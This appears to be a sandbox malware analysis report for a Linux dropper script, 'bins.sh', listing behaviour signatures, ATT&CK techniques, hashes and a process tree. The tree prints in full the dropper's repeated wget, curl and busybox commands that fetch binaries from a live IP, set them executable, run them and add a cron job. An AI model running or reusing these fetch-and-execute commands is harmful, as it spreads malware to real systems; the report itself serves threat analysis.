2efc3a0b95b0f47a391caeea7d0be6103ec13b915886586598849bb1a6a79d94

Analysis

max time kernel
149s
max time network
185s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
20/11/2024, 02:44

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General

Target
bins.sh
Size 10KB
Sample241120-c8d28syejb
SHA256 2efc3a0b95b0f47a391caeea7d0be6103ec13b915886586598849bb1a6a79d94
MD5 2c8ee73ff481383ca124810fef8653b1
SHA1 2f0045a1346635e0b97b189a217d60329572ee9c
SHA512 a4cf9a0c5f3fcb4bbc802490023c07e2cdfe73a8a6d3d4903e7e952967325270f6f4a0bf912b58844b8655e30ba7832a39dc377a73ed4443b77740b6584ad8ad
SSDEEP 192:mrPM5ZTjn81dBLvdLvgaD6DGDN2uVFxFxFcj/flNzu7ui07gQ27wgRNKW5z7MUzm:jiC2N2uKu4OxTHC2N2uwCo
MD5 SHA1 SHA512 SSDEEP

Score

9^/10

antivm defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Contacts a large (1987) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 9 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
828	chmod
762	chmod
776	chmod
737	chmod
799	chmod
814	chmod
821	chmod
693	chmod
701	chmod

Executes dropped EXE 9 IoCs

ioc	pid	Process
/tmp/jCKUuK261HO2qfyeQcMJ2Rh0MLxXHXUaMY	694	jCKUuK261HO2qfyeQcMJ2Rh0MLxXHXUaMY
/tmp/vThMU60BatKKz7M4SJA19yfrcnnk7GUcFD	702	vThMU60BatKKz7M4SJA19yfrcnnk7GUcFD
/tmp/vq7fuTr6poCBbuYKu55715YQxZHTQx8uIa	740	vq7fuTr6poCBbuYKu55715YQxZHTQx8uIa
/tmp/I0A06e0QfY7lQp4jDsbzPNWuMsQ3HkPmDx	763	I0A06e0QfY7lQp4jDsbzPNWuMsQ3HkPmDx
/tmp/MU5WMh88osvawZ8bUJUKA6f10hZSVV85vL	777	MU5WMh88osvawZ8bUJUKA6f10hZSVV85vL
/tmp/zzPkxlzbd3hgUCGde6u2c8FdlchamQ3g6I	800	zzPkxlzbd3hgUCGde6u2c8FdlchamQ3g6I
/tmp/ljHp8J1aTAXwkieEcb2bSqvnlGCVoSEPbo	815	ljHp8J1aTAXwkieEcb2bSqvnlGCVoSEPbo
/tmp/YBI65ytUjOLI7cUUlzB8WTFhx9MrFwGhGa	822	YBI65ytUjOLI7cUUlzB8WTFhx9MrFwGhGa
/tmp/Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a	829	Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a

Renames itself 1 IoCs

pid	Process
830	Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.ldihjo	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 9 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/20/cmdline	Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a
File opened for reading	/proc/28/cmdline	Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a
File opened for reading	/proc/870/cmdline	Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a
File opened for reading	/proc/881/cmdline	Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a
File opened for reading	/proc/896/cmdline	Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/876/cmdline	Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a
File opened for reading	/proc/885/cmdline	Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a
File opened for reading	/proc/989/cmdline	Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a
File opened for reading	/proc/25/cmdline	Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a
File opened for reading	/proc/872/cmdline	Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a
File opened for reading	/proc/937/cmdline	Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a
File opened for reading	/proc/1063/cmdline	Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a
File opened for reading	/proc/1088/cmdline	Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a
File opened for reading	/proc/1090/cmdline	Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a
File opened for reading	/proc/139/cmdline	Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a
File opened for reading	/proc/884/cmdline	Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a
File opened for reading	/proc/841/cmdline	Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a
File opened for reading	/proc/990/cmdline	Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a
File opened for reading	/proc/1048/cmdline	Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a
File opened for reading	/proc/1060/cmdline	Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a
File opened for reading	/proc/1115/cmdline	Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/888/cmdline	Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a
File opened for reading	/proc/899/cmdline	Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a
File opened for reading	/proc/965/cmdline	Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a
File opened for reading	/proc/969/cmdline	Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a
File opened for reading	/proc/987/cmdline	Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a
File opened for reading	/proc/1067/cmdline	Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a
File opened for reading	/proc/608/cmdline	Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a
File opened for reading	/proc/868/cmdline	Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a
File opened for reading	/proc/882/cmdline	Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a
File opened for reading	/proc/1042/cmdline	Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a
File opened for reading	/proc/10/cmdline	Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a
File opened for reading	/proc/835/cmdline	Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a
File opened for reading	/proc/916/cmdline	Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a
File opened for reading	/proc/933/cmdline	Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a
File opened for reading	/proc/964/cmdline	Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a
File opened for reading	/proc/1059/cmdline	Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a
File opened for reading	/proc/1111/cmdline	Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a
File opened for reading	/proc/22/cmdline	Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a
File opened for reading	/proc/802/cmdline	Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a
File opened for reading	/proc/23/cmdline	Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a
File opened for reading	/proc/860/cmdline	Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a
File opened for reading	/proc/889/cmdline	Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a
File opened for reading	/proc/907/cmdline	Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a
File opened for reading	/proc/1068/cmdline	Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/42/cmdline	Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a
File opened for reading	/proc/1002/cmdline	Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a
File opened for reading	/proc/848/cmdline	Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a
File opened for reading	/proc/929/cmdline	Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a
File opened for reading	/proc/946/cmdline	Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a
File opened for reading	/proc/978/cmdline	Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a
File opened for reading	/proc/1047/cmdline	Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/838/cmdline	Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a
File opened for reading	/proc/995/cmdline	Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a
File opened for reading	/proc/1123/cmdline	Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a
File opened for reading	/proc/957/cmdline	Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a
File opened for reading	/proc/976/cmdline	Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a

Writes file to tmp directory 27 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/ljHp8J1aTAXwkieEcb2bSqvnlGCVoSEPbo	curl
File opened for modification	/tmp/zzPkxlzbd3hgUCGde6u2c8FdlchamQ3g6I	curl
File opened for modification	/tmp/vq7fuTr6poCBbuYKu55715YQxZHTQx8uIa	wget
File opened for modification	/tmp/zzPkxlzbd3hgUCGde6u2c8FdlchamQ3g6I	busybox
File opened for modification	/tmp/ljHp8J1aTAXwkieEcb2bSqvnlGCVoSEPbo	wget
File opened for modification	/tmp/vThMU60BatKKz7M4SJA19yfrcnnk7GUcFD	wget
File opened for modification	/tmp/MU5WMh88osvawZ8bUJUKA6f10hZSVV85vL	busybox
File opened for modification	/tmp/jCKUuK261HO2qfyeQcMJ2Rh0MLxXHXUaMY	busybox
File opened for modification	/tmp/vThMU60BatKKz7M4SJA19yfrcnnk7GUcFD	curl
File opened for modification	/tmp/vq7fuTr6poCBbuYKu55715YQxZHTQx8uIa	curl
File opened for modification	/tmp/vq7fuTr6poCBbuYKu55715YQxZHTQx8uIa	busybox
File opened for modification	/tmp/I0A06e0QfY7lQp4jDsbzPNWuMsQ3HkPmDx	wget
File opened for modification	/tmp/jCKUuK261HO2qfyeQcMJ2Rh0MLxXHXUaMY	curl
File opened for modification	/tmp/YBI65ytUjOLI7cUUlzB8WTFhx9MrFwGhGa	wget
File opened for modification	/tmp/MU5WMh88osvawZ8bUJUKA6f10hZSVV85vL	curl
File opened for modification	/tmp/MU5WMh88osvawZ8bUJUKA6f10hZSVV85vL	wget
File opened for modification	/tmp/zzPkxlzbd3hgUCGde6u2c8FdlchamQ3g6I	wget
File opened for modification	/tmp/ljHp8J1aTAXwkieEcb2bSqvnlGCVoSEPbo	busybox
File opened for modification	/tmp/YBI65ytUjOLI7cUUlzB8WTFhx9MrFwGhGa	curl
File opened for modification	/tmp/Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a	curl
File opened for modification	/tmp/vThMU60BatKKz7M4SJA19yfrcnnk7GUcFD	busybox
File opened for modification	/tmp/I0A06e0QfY7lQp4jDsbzPNWuMsQ3HkPmDx	curl
File opened for modification	/tmp/Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a	busybox
File opened for modification	/tmp/YBI65ytUjOLI7cUUlzB8WTFhx9MrFwGhGa	busybox
File opened for modification	/tmp/Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a	wget
File opened for modification	/tmp/I0A06e0QfY7lQp4jDsbzPNWuMsQ3HkPmDx	busybox
File opened for modification	/tmp/jCKUuK261HO2qfyeQcMJ2Rh0MLxXHXUaMY	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:662
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:665
- /usr/bin/wget
  wget http://87.120.125.191/bins/jCKUuK261HO2qfyeQcMJ2Rh0MLxXHXUaMY
  2⤵
  - Writes file to tmp directory
  PID:670
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/jCKUuK261HO2qfyeQcMJ2Rh0MLxXHXUaMY
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:683
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/jCKUuK261HO2qfyeQcMJ2Rh0MLxXHXUaMY
  2⤵
  - Writes file to tmp directory
  PID:691
- /bin/chmod
  chmod 777 jCKUuK261HO2qfyeQcMJ2Rh0MLxXHXUaMY
  2⤵
  - File and Directory Permissions Modification
  PID:693
- /tmp/jCKUuK261HO2qfyeQcMJ2Rh0MLxXHXUaMY
  ./jCKUuK261HO2qfyeQcMJ2Rh0MLxXHXUaMY
  2⤵
  - Executes dropped EXE
  PID:694
- /bin/rm
  rm jCKUuK261HO2qfyeQcMJ2Rh0MLxXHXUaMY
  2⤵
  PID:697
- /usr/bin/wget
  wget http://87.120.125.191/bins/vThMU60BatKKz7M4SJA19yfrcnnk7GUcFD
  2⤵
  - Writes file to tmp directory
  PID:698
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/vThMU60BatKKz7M4SJA19yfrcnnk7GUcFD
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:699
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/vThMU60BatKKz7M4SJA19yfrcnnk7GUcFD
  2⤵
  - Writes file to tmp directory
  PID:700
- /bin/chmod
  chmod 777 vThMU60BatKKz7M4SJA19yfrcnnk7GUcFD
  2⤵
  - File and Directory Permissions Modification
  PID:701
- /tmp/vThMU60BatKKz7M4SJA19yfrcnnk7GUcFD
  ./vThMU60BatKKz7M4SJA19yfrcnnk7GUcFD
  2⤵
  - Executes dropped EXE
  PID:702
- /bin/rm
  rm vThMU60BatKKz7M4SJA19yfrcnnk7GUcFD
  2⤵
  PID:704
- /usr/bin/wget
  wget http://87.120.125.191/bins/vq7fuTr6poCBbuYKu55715YQxZHTQx8uIa
  2⤵
  - Writes file to tmp directory
  PID:707
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/vq7fuTr6poCBbuYKu55715YQxZHTQx8uIa
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:712
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/vq7fuTr6poCBbuYKu55715YQxZHTQx8uIa
  2⤵
  - Writes file to tmp directory
  PID:733
- /bin/chmod
  chmod 777 vq7fuTr6poCBbuYKu55715YQxZHTQx8uIa
  2⤵
  - File and Directory Permissions Modification
  PID:737
- /tmp/vq7fuTr6poCBbuYKu55715YQxZHTQx8uIa
  ./vq7fuTr6poCBbuYKu55715YQxZHTQx8uIa
  2⤵
  - Executes dropped EXE
  PID:740
- /bin/rm
  rm vq7fuTr6poCBbuYKu55715YQxZHTQx8uIa
  2⤵
  PID:743
- /usr/bin/wget
  wget http://87.120.125.191/bins/I0A06e0QfY7lQp4jDsbzPNWuMsQ3HkPmDx
  2⤵
  - Writes file to tmp directory
  PID:744
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/I0A06e0QfY7lQp4jDsbzPNWuMsQ3HkPmDx
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:753
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/I0A06e0QfY7lQp4jDsbzPNWuMsQ3HkPmDx
  2⤵
  - Writes file to tmp directory
  PID:761
- /bin/chmod
  chmod 777 I0A06e0QfY7lQp4jDsbzPNWuMsQ3HkPmDx
  2⤵
  - File and Directory Permissions Modification
  PID:762
- /tmp/I0A06e0QfY7lQp4jDsbzPNWuMsQ3HkPmDx
  ./I0A06e0QfY7lQp4jDsbzPNWuMsQ3HkPmDx
  2⤵
  - Executes dropped EXE
  PID:763
- /bin/rm
  rm I0A06e0QfY7lQp4jDsbzPNWuMsQ3HkPmDx
  2⤵
  PID:765
- /usr/bin/wget
  wget http://87.120.125.191/bins/MU5WMh88osvawZ8bUJUKA6f10hZSVV85vL
  2⤵
  - Writes file to tmp directory
  PID:766
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/MU5WMh88osvawZ8bUJUKA6f10hZSVV85vL
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:767
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/MU5WMh88osvawZ8bUJUKA6f10hZSVV85vL
  2⤵
  - Writes file to tmp directory
  PID:772
- /bin/chmod
  chmod 777 MU5WMh88osvawZ8bUJUKA6f10hZSVV85vL
  2⤵
  - File and Directory Permissions Modification
  PID:776
- /tmp/MU5WMh88osvawZ8bUJUKA6f10hZSVV85vL
  ./MU5WMh88osvawZ8bUJUKA6f10hZSVV85vL
  2⤵
  - Executes dropped EXE
  PID:777
- /bin/rm
  rm MU5WMh88osvawZ8bUJUKA6f10hZSVV85vL
  2⤵
  PID:780
- /usr/bin/wget
  wget http://87.120.125.191/bins/zzPkxlzbd3hgUCGde6u2c8FdlchamQ3g6I
  2⤵
  - Writes file to tmp directory
  PID:781
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/zzPkxlzbd3hgUCGde6u2c8FdlchamQ3g6I
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:788
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/zzPkxlzbd3hgUCGde6u2c8FdlchamQ3g6I
  2⤵
  - Writes file to tmp directory
  PID:795
- /bin/chmod
  chmod 777 zzPkxlzbd3hgUCGde6u2c8FdlchamQ3g6I
  2⤵
  - File and Directory Permissions Modification
  PID:799
- /tmp/zzPkxlzbd3hgUCGde6u2c8FdlchamQ3g6I
  ./zzPkxlzbd3hgUCGde6u2c8FdlchamQ3g6I
  2⤵
  - Executes dropped EXE
  PID:800
- /bin/rm
  rm zzPkxlzbd3hgUCGde6u2c8FdlchamQ3g6I
  2⤵
  PID:804
- /usr/bin/wget
  wget http://87.120.125.191/bins/ljHp8J1aTAXwkieEcb2bSqvnlGCVoSEPbo
  2⤵
  - Writes file to tmp directory
  PID:805
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/ljHp8J1aTAXwkieEcb2bSqvnlGCVoSEPbo
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:810
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/ljHp8J1aTAXwkieEcb2bSqvnlGCVoSEPbo
  2⤵
  - Writes file to tmp directory
  PID:813
- /bin/chmod
  chmod 777 ljHp8J1aTAXwkieEcb2bSqvnlGCVoSEPbo
  2⤵
  - File and Directory Permissions Modification
  PID:814
- /tmp/ljHp8J1aTAXwkieEcb2bSqvnlGCVoSEPbo
  ./ljHp8J1aTAXwkieEcb2bSqvnlGCVoSEPbo
  2⤵
  - Executes dropped EXE
  PID:815
- /bin/rm
  rm ljHp8J1aTAXwkieEcb2bSqvnlGCVoSEPbo
  2⤵
  PID:817
- /usr/bin/wget
  wget http://87.120.125.191/bins/YBI65ytUjOLI7cUUlzB8WTFhx9MrFwGhGa
  2⤵
  - Writes file to tmp directory
  PID:818
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/YBI65ytUjOLI7cUUlzB8WTFhx9MrFwGhGa
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:819
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/YBI65ytUjOLI7cUUlzB8WTFhx9MrFwGhGa
  2⤵
  - Writes file to tmp directory
  PID:820
- /bin/chmod
  chmod 777 YBI65ytUjOLI7cUUlzB8WTFhx9MrFwGhGa
  2⤵
  - File and Directory Permissions Modification
  PID:821
- /tmp/YBI65ytUjOLI7cUUlzB8WTFhx9MrFwGhGa
  ./YBI65ytUjOLI7cUUlzB8WTFhx9MrFwGhGa
  2⤵
  - Executes dropped EXE
  PID:822
- /bin/rm
  rm YBI65ytUjOLI7cUUlzB8WTFhx9MrFwGhGa
  2⤵
  PID:824
- /usr/bin/wget
  wget http://87.120.125.191/bins/Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a
  2⤵
  - Writes file to tmp directory
  PID:825
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:826
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a
  2⤵
  - Writes file to tmp directory
  PID:827
- /bin/chmod
  chmod 777 Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a
  2⤵
  - File and Directory Permissions Modification
  PID:828
- /tmp/Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a
  ./Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:829
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:831
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:832
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:833
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:834
- /bin/rm
  rm Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a
  2⤵
  PID:836
- /usr/bin/wget
  wget http://87.120.125.191/bins/MbUk259n3rlKatHzOpVuhN4x1GYUt9nJTp
  2⤵
  PID:839

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Network Service Discovery

T1046

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

I0A06e0QfY7lQp4jDsbzPNWuMsQ3HkPmDx

Path /tmp/I0A06e0QfY7lQp4jDsbzPNWuMsQ3HkPmDx
Size 151KB
SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
MD5 3c90d5820bddcf7c5d1bd21dfa49d958
SHA1 5ba05bd489e50af97d6dc45e3a0be60e494d5083
SHA512 54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a
SSDEEP 1536:mVqSjUF+uLHLVdiLzLsLzLsL7LeLGLXL0LLLkLhqqvZjptByZEGkbU+/pWacxZkI:tr9dy1B2gSpLg70mLjXswi5itRx2p
MD5 SHA1 SHA512 SSDEEP

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MU5WMh88osvawZ8bUJUKA6f10hZSVV85vL

Path /tmp/MU5WMh88osvawZ8bUJUKA6f10hZSVV85vL
Size 122KB
SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
MD5 cd3d4b9c643e5b473fb4d88ed05f0716
SHA1 64ee7a97418583d759eaea8000890cc3bae1b5f4
SHA512 164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52
SSDEEP 3072:QON+vZgnSgtpg1sgnHgS4rpq26zEz2IyombPQbZBmf35ZYp:Q0bY3AH36y2ambPQbZBm/5ZYp
MD5 SHA1 SHA512 SSDEEP

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Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a

Path /tmp/Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a
Size 141KB
SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
MD5 3ca8decdb1e52c423c521bfff02ac200
SHA1 8621ecd6807109b8541912ad9e134f6fb49bfd48
SHA512 b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a
SSDEEP 3072:h2mQRJQqJ3OuMP2Q72katWmUd4jEJ/SL06gO0NmmytHHQRkLCalY:h2Y17zaPnEJ/SL16mmytHHQRkLplY
MD5 SHA1 SHA512 SSDEEP

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YBI65ytUjOLI7cUUlzB8WTFhx9MrFwGhGa

Path /tmp/YBI65ytUjOLI7cUUlzB8WTFhx9MrFwGhGa
Size 98KB
SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
MD5 5141342d0df8699fa32a6b066a0c592e
SHA1 8157673225bd5182f16215e2aa823a25ca2d4fbc
SHA512 d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801
SSDEEP 3072:lxvAwSaWFr5Ryrfb3jb9RxqgRfEma1b5wdL35sPX:32FrIT3/9jqgmma1b5wdj5sPX
MD5 SHA1 SHA512 SSDEEP

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jCKUuK261HO2qfyeQcMJ2Rh0MLxXHXUaMY

Path /tmp/jCKUuK261HO2qfyeQcMJ2Rh0MLxXHXUaMY
Size 111KB
SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
MD5 701e7a55a4f3650f5feee92a9860e5fc
SHA1 6ce4a7f0dc80fe557a0ace4de25e6305af221ed4
SHA512 7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11
SSDEEP 3072:IF2Z9LeHHHPfbLGR0+XrOcVm/pOQbZJXx35zzp:fZ9LeHHHPfnGRJ7OcVm/pOQbZJXx5zzp
MD5 SHA1 SHA512 SSDEEP

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ljHp8J1aTAXwkieEcb2bSqvnlGCVoSEPbo

Path /tmp/ljHp8J1aTAXwkieEcb2bSqvnlGCVoSEPbo
Size 99KB
SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
MD5 9438d9bc392bcf300a5583b6df5bc8f6
SHA1 375a6ae34b516f6f3eeea8030c4084f585017efa
SHA512 1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860
SSDEEP 3072:kFPlxndf22h/xwXnTkai7MYRApCg9dgdmk1b5wdL35sPX:kZlxndf8nTqtS/9dgdmk1b5wdj5sPX
MD5 SHA1 SHA512 SSDEEP

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vThMU60BatKKz7M4SJA19yfrcnnk7GUcFD

Path /tmp/vThMU60BatKKz7M4SJA19yfrcnnk7GUcFD
Size 111KB
SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
MD5 ca897a38f23ec23521ce0b1b83f8422d
SHA1 b8d2ab335346aba9a72bae0fe3533aca1ab7b66a
SHA512 10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb
SSDEEP 3072:/hn2ZF7rLLveDuceOZ8r4xcG0m/pOQbZJXx35zzp:QZF7rLLveDYOZa46G0m/pOQbZJXx5zzp
MD5 SHA1 SHA512 SSDEEP

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vq7fuTr6poCBbuYKu55715YQxZHTQx8uIa

Path /tmp/vq7fuTr6poCBbuYKu55715YQxZHTQx8uIa
Size 117KB
SHA256 8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
MD5 849fa04ef88a8e8de32cb2e8538de5fe
SHA1 c768af29fe4b6695fff1541623e8bbd1c6f242f7
SHA512 2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf
SSDEEP 3072:VozXHIisGFgyKB7xlBAUNFd4vm4QbZJmf35zPp:bGmyKBxl2U+vm4QbZJm/5zPp
MD5 SHA1 SHA512 SSDEEP

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zzPkxlzbd3hgUCGde6u2c8FdlchamQ3g6I

Path /tmp/zzPkxlzbd3hgUCGde6u2c8FdlchamQ3g6I
Size 107KB
SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
MD5 eb9c3a0de91fcf16ba17cb24608df68c
SHA1 09d95a7d70d5e115d103be51edff7c498d272fac
